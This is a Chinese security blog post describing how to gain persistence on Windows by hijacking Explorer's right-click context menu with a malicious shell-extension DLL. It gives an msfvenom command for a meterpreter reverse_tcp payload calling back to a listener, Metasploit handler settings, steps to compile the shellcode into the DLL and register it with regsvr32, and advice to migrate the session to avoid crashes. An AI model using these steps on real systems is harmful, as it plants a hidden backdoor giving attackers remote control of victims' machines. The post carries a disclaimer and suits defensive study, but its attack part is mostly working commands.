劫持资源管理器实现持久性后门
2023-3-27 08:31:32 Author: 潇湘信安(查看原文) 阅读量:14 收藏

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x01 前言

最近看到一篇有关《劫持Explorer.exe实现持久性》的文章,只要用户右键单击文件资源管理器中的文件或文件夹就会触发,简单记录下本地复现过程!

0x02 复现过程

CobaltStrike或Metasploit生成一个C格式shellcode,将shellcode中的"都替换为空,再用\r\n将其放在一行,配置好相关参数执行监听。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443 EXITFUNC=thread -f c
set payload windows/x64/meterpreter/reverse_tcpset lhost 192.168.1.120set lport 443exploit

VS打开该项目,在FileContextMenuExt.cpp第13行处插入我们处理好的shellcode,直接编译得到一个ContextMenuHijack.dll。

项目地址:

https://github.com/RistBS/ContextMenuHijack

接着我们通过执行以下命令用regsvr32注册下这个dll文件,如果想卸载掉只需加个/u参数即可。

注册:

regsvr32 ContextMenuHijack.dll

卸载:

regsvr32 /u ContextMenuHijack.dll

这时只要我们右键文件或文件夹就会触发上线,但这种方式极易造成Explorer.exe资源管理器奔溃,导致会话掉线,建议加个自动迁移进程参数。

set AutoRunScript migrate -f

0x03 编译问题

我的VS版本2017,但这个项目是2022编译的,所以编译时可能由于VS版本问题而出现下图报错:
错误 MSB8020 无法找到 v143 的生成工具(平台工具集 =“v143”)。若要使用 v143 生成工具进行生成,请安装 v143 生成工具。或者,可以升级到当前 Visual Studio 工具,方式是通过选择“项目”菜单或右键单击该解决方案,然后选择“重定解决方案目标”
解决方法:
选中项目 -> 右键属性 -> 将平台工具集选为VS2017V141);选中工程 -> 重定解决方案目标 -> 选择当前Windows SDK版本;打开项目根目录下.vcxproj后缀文件,将v143全替换为v141,保存;切换回Visual Studio,检测到文件修改,我们选择“全部重新加载”;再次选中工程 -> 重新生成解决方案 -> 已经编译成功,完美解决该问题。

参考链接:

https://pentestlab.blog/2023/03/13/persistence-context-menu/https://ristbs.github.io/2023/02/15/hijack-explorer-context-menu-for-persistence-and-fun.html

关 注 有 礼

关注公众号回复“9527”可以领取一套HTB靶场文档和视频1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包2191潇湘信安文章打包,“1212”杀软对比源码+数据源,0421Windows提权工具包
 还在等什么?赶紧点击下方名片关注学习吧!

推 荐 阅 读



文章来源: http://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247502480&idx=1&sn=c9688c1f884552f0486e2ec3032742c2&chksm=cfa56e83f8d2e7954ee60d0b7a0f221d3d770f4609f7f46a92a3c6051dff3856a7452e220d06#rd
如有侵权请联系:admin#unsafe.sh